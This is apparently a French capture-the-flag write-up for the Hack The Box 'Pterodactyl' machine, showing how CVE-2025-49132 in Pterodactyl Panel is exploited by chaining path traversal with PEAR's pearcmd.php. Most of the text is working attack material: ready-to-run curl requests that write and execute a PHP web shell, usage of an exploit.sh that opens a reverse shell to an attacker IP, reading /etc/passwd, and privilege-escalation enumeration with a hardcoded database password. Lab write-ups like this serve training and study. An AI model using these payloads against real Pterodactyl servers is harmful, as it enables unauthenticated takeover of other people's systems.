CVE-2025-49132 - Exploitation RCE du Panneau Pterodactyl

HTB Saison 10 - Writeup de la Machine Pterodactyl

Aperçu

Cible: Machine HTB Pterodactyl (Difficulté Moyenne)
CVE: CVE-2025-49132
Sévérité: Critique (CVSS 9.8)
Type d'attaque: Exécution de code à distance non authentifiée
Affecté: Panneau Pterodactyl < v1.11.11

Cette chaîne d'exploitation combine :

1. Traversée de chemin dans le système de traduction des locales
2. Injection de commandes PEAR via pearcmd.php
3. Exécution de code PHP via écriture de fichier + inclusion

Le Bug

Le point de terminaison /locales/locale.json du panneau Pterodactyl permet une traversée de chemin via le paramètre locale :

GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd

Cela peut être enchaîné avec pearcmd.php de PEAR pour :

1. Écrire des fichiers PHP arbitraires dans /tmp
2. Les exécuter via une autre requête

Pourquoi ça marche

PEAR (PHP Extension and Application Repository) possède un outil en ligne de commande (pearcmd.php) qui :

• Accepte les commandes via des paramètres d'URL (initialement prévu pour la CLI uniquement)
• Possède une commande config-create qui écrit des fichiers
• N'a AUCUNE authentification lorsqu'il est appelé via le web

La Chaîne d'Exploitation :

Traversée de chemin → Charger pearcmd.php → Injecter PHP via config-create → Exécuter le PHP malveillant

L'astuce Hex2bin()

Les commandes sont encodées en hexadécimal avec hex2bin() pour contourner :

• Problèmes d'encodage URL
• Filtres de caractères spéciaux
• Problèmes d'analyse Nginx/PHP

Exemple :

Commande : whoami
Hex :     77686f616d69
Payload : <?=system(hex2bin('77686f616d69'))?>

Exécution de Code à Distance

Méthode 1 : Utilisation de exploit.sh fourni

chmod +x exploit.sh

# Obtenir le flag utilisateur
./exploit.sh flag

# Exécuter des commandes
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"

# Shell inversé
nc -lvnp 4444  # Sur la machine attaquante
./exploit.sh shell 10.10.14.21 4444

Méthode 2 : Exploitation manuelle

# Étape 1 : Écrire un shell PHP ("whoami" encodé en hex)
curl -g "http://panel.pterodactyl.htb/locales/locale.json?\
+config-create+/&\
locale=../../../../../../usr/share/php/PEAR&\
namespace=pearcmd&\
/<?=system(hex2bin('77686f616d69'))?>+/tmp/shell.php"

# Étape 2 : Exécuter
curl "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../tmp&\
namespace=shell"

Méthode 3 : Script Python

J'ai ajouté exploit.py
**Installer requests**

🛠️ Outils fournis

1. exploit.sh (Recommandé)

Exploit bash complet

./exploit.sh cmd "whoami"           # Exécuter une commande unique
./exploit.sh shell 10.10.14.21 4444 # Shell inversé
./exploit.sh flag                   # Trouver le flag utilisateur

Fonctionnalités :

• Encodage Hex2bin() pour la fiabilité
• Filtrage de sortie basé sur Python
• Plusieurs méthodes de shell (bash TCP + mkfifo)
• Sortie propre et parsée

2. CVE-2025-49132_DETAILED.txt

Documentation technique complète

Contient :

• Analyse approfondie de la vulnérabilité
• Explication de l'architecture PEAR
• Détail étape par étape de l'exploit
• Guide de dépannage
• Méthodes de détection (IOCs)
• Stratégies d'atténuation

Démarrage rapide

# 1. Ajouter à /etc/hosts
echo "10.10.x.x pterodactyl.htb panel.pterodactyl.htb" | sudo tee -a /etc/hosts

# 2. Télécharger l'exploit
wget https://your-repo/exploit.sh
chmod +x exploit.sh

# 3. Obtenir un shell
nc -lvnp 4444  # Terminal 1
./exploit.sh shell 10.10.14.21 4444  # Terminal 2

# 4. Obtenir le flag utilisateur
cat /home/phileasfogg3/user.txt

Élévation de privilèges

Énumération

# Vérifier les services en cours d'exécution
ss -tlnp

# Résultat :
# 127.0.0.1:3306 - MySQL (root)
# 127.0.0.1:6379 - Redis
# 127.0.0.1:9000 - PHP-FPM (root)
# 127.0.0.1:25   - Postfix

# Vérifier sudo
sudo -l
# (Nécessite probablement un mot de passe)

# Binaires SUID
find / -perm -4000 2>/dev/null

# Tâches cron
cat /etc/crontab
ls -la /etc/cron.*

Vecteurs d'élévation de privilèges courants

1. MySQL avec des identifiants connus

mysql -u pterodactyl -pPteraPanel
# Vérifier l'injection UDF, les permissions d'écriture de fichier

2. PHP-FPM tournant en tant que root

# Vérifier l'exploitation de FPM (CVE-2019-11043 ou abus de configuration)

3. Exploitation Redis

# Vérifier le contournement d'authentification, RCE via cron
redis-cli -h 127.0.0.1

4. Vérifier les scripts modifiables dans cron

find /etc/cron* -writable 2>/dev/null

5. Exploits du noyau (en dernier recours)

uname -a
# Vérifier DirtyCow, etc.

Références

CVE & Exploits

• NVD - CVE-2025-49132
• OpenCVE - CVE-2025-49132

Ressources techniques

• Documentation du panneau Pterodactyl
• Documentation PEAR
• OWASP Path Traversal